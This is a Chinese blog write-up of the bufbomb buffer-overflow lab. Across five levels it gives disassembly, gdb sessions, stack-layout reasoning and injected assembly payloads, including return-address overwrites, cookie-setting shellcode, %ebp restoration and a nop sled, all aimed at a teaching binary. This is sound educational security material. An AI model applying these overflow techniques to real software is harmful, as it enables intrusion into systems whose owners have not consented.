bufbomb-缓冲区溢出实验

本文详细介绍了一项针对bufbomb程序的缓冲区溢出实验,涉及五个难度等级的攻击,从简单的Candle到复杂的Nitroglycerin。实验不仅介绍了如何通过修改返回地址来控制程序行为,还深入探讨了如何利用栈结构实现更复杂的攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验目的

本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序”bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,例如将给定的字节序列插入到其本不应出现的内存位置。
实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Candle(level 0)、Sparkler(level 1)、Firecracker(level 2)、Dynamite(level 3)和Nitroglycerin(level 4),其中Candle级最简单而Nitroglycerin级最困难

实验分析

1.Level 0: Candle

使用objdump得到汇编代码如下,因此需要将返回地址设置为0x08048c90

08048c90 <smoke>:
...
...

Test部分代码如下:

08048e6d <test>:
 8048e6d:       55                      push   %ebp
 8048e6e:       89 e5                   mov    %esp,%ebp
 8048e70:       53                      push   %ebx
 8048e71:       83 ec 24                sub    $0x24,%esp
 8048e74:       e8 6e ff ff ff          call   8048de7 <uniqueval>
 8048e79:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048e7c:       e8 6b 03 00 00          call   80491ec <getbuf>
 8048e81:       89 c3                   mov    %eax,%ebx
...

Getbuf代码如下:

080491ec <getbuf>:
 80491ec:       55                      push   %ebp
 80491ed:       89 e5                   mov    %esp,%ebp
 80491ef:       83 ec 38                sub    $0x38,%esp
 80491f2:       8d 45 d8                lea    -0x28(%ebp),%eax
 80491f5:       89 04 24                mov    %eax,(%esp)
 80491f8:       e8 55 fb ff ff          call   8048d52 <Gets>
 80491fd:       b8 01 00 00 00          mov    $0x1,%eax
 8049202:       c9                      leave
 8049203:       c3                      ret

调用Gets之前getbufn的栈如下:

内容含义在栈中的地址
getbuf返回后执行的函数的第一个参数0x5568336c
攻击代码的返回地址0x55683368
正常值:0x08048e81返回地址0x55683364
正常值:0x55683390test的帧指针
字符串地址0x55683338

根据返回地址在栈中的地址和字符串地址可以很容易算出字符串包含48个字节,最后4个字节是smoke的地址

2.Level 1: Sparkler

和level0相同,这里只需要将返回地址设为fizz的返回地址0x08048cba,并将0x5568336c处的值设置为makecookie产生的值即可

3.Level 2: Firecracker

bang部分代码如下:

08048d05 <bang>:
 8048d05:       55                      push   %ebp
 8048d06:       89 e5                   mov    %esp,%ebp
 8048d08:       83 ec 18                sub    $0x18,%esp
 8048d0b:       a1 18 c2 04 08          mov    0x804c218,%eax
 8048d10:       3b 05 20 c2 04 08       cmp    0x804c220,%eax
...

使用gdb查看0x804c218和0x804c220的值:

(gdb) x/x 0x804c218
0x804c218 <global_value>:   0x00000000
(gdb) x/x 0x804c220
0x804c220 <cookie>: 0x5a22d669

可知需要将0x804c218处的值设置为cookie的值,应该插入的代码如下:

movl $0x5a22d669,0x0804c218
ret

如果将代码放在字符串的起始地址,需要将getbuf的返回地址设置为字符串的起始地址,并将攻击代码的返回地址设置为bang的地址

4.Level 3: Dynamic

getbuf的返回值存在%eax中,因此将%eax设置为cookie值,由于getbuf返回时栈指针加了4,因此需将栈指针再减4,将test中的返回地址存入栈中再返回,代码如下:

movl $0x5a22d669,%eax
subl $4,%esp
movl $0x08048e81,(%esp)
ret

同level2,将代码放在字符串的起始地址,将getbuf的返回地址设置为字符串的起始地址

5.Level 4: Nitroglycerin

Testn部分代码如下:

08048e01 <testn>:
 8048e01:       55                      push   %ebp
 8048e02:       89 e5                   mov    %esp,%ebp
 8048e04:       53                      push   %ebx
 8048e05:       83 ec 24                sub    $0x24,%esp
 8048e08:       e8 da ff ff ff          call   8048de7 <uniqueval>
 8048e0d:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048e10:       e8 ef 03 00 00          call   8049204 <getbufn>
 8048e15:       89 c3                   mov    %eax,%ebx
...
08049204 <getbufn>:
 8049204:       55                      push   %ebp
 8049205:       89 e5                   mov    %esp,%ebp
 8049207:       81 ec 18 02 00 00       sub    $0x218,%esp
 804920d:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 8049213:       89 04 24                mov    %eax,(%esp)
 8049216:       e8 37 fb ff ff          call   8048d52 <Gets>
 804921b:       b8 01 00 00 00          mov    $0x1,%eax
 8049220:       c9                      leave
 8049221:       c3                      ret
...

分析代码可知两者帧的相对位置没有变化,因此getbufn执行ret之时的esp与testn的帧指针的差值固定,在插入攻击代码时后者存储在栈中的位置遭到破坏,但是可以根据前者计算处后者,使用gdb查看这两个值:

(gdb) b *0x8048e04
Breakpoint 1 at 0x8048e04
(gdb) b *0x8049221
Breakpoint 2 at 0x8049221
(gdb) run -u bovik -n
...
Breakpoint 1, 0x08048e04 in testn ()
(gdb) info registers ebp
ebp            0x55683390   0x55683390 <_reserved+1037200>
(gdb) continue
Continuing.
Type string:haha

Breakpoint 2, 0x08049221 in getbufn ()
(gdb) info registers esp
esp            0x55683364   0x55683364 <_reserved+1037156>
...

可知两者的差值为0x28
同level3,将eax的值设为cookie,将esp减4,存放testn的返回地址
代码如下:

movl $0x5a22d669,%eax
leal 0x28(%esp),%ebp
subl $4,%esp
movl $0x08048e15,(%esp)
ret

但是与前四关不同的是,字符串的起始地址不同,攻击代码的位置也就不同,同样使用gdb查看5次运行时getbufn的帧指针,推算相应的字符串起始地址为:

次数字符串地址
10x55683158
20x55683178
30x556830e8
40x55683158
50x556831a8

因此,只需将getbufn的返回地址设为大于等于0x556831a8的值,并将返回地址和实际代码之间以nop填补即可

特别提醒

  • 在最后一关的时候,我通过一步步查看程序运行状况,确定程序使用了一个5元素地址存放整个偏移量,还有一个levelcount数组存放相应level时validate应该运行的次数,因此最初的思路是根据这两个值恢复ebp,结果异常诡异:程序在gdb里一遍一遍运行都能通过,但是在shell里面就是段错误,后来在gentoo上面的gdb里面调试,才找出了错误原因:原来偏移量数组地址会变!!想起来这个数组是通过calloc分配的,所以地址可能会变。可是坑爹的gdb每次运行数组地址都是一样的!!乱入三体里面一句记得不太清楚的话,大意是:不管事情看上去多么奇怪,不要怀疑,背后一定有人搞鬼!
  • 另外这个程序本身写得比较奇特,有比较高的研究价值,哈哈哈哈哈
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值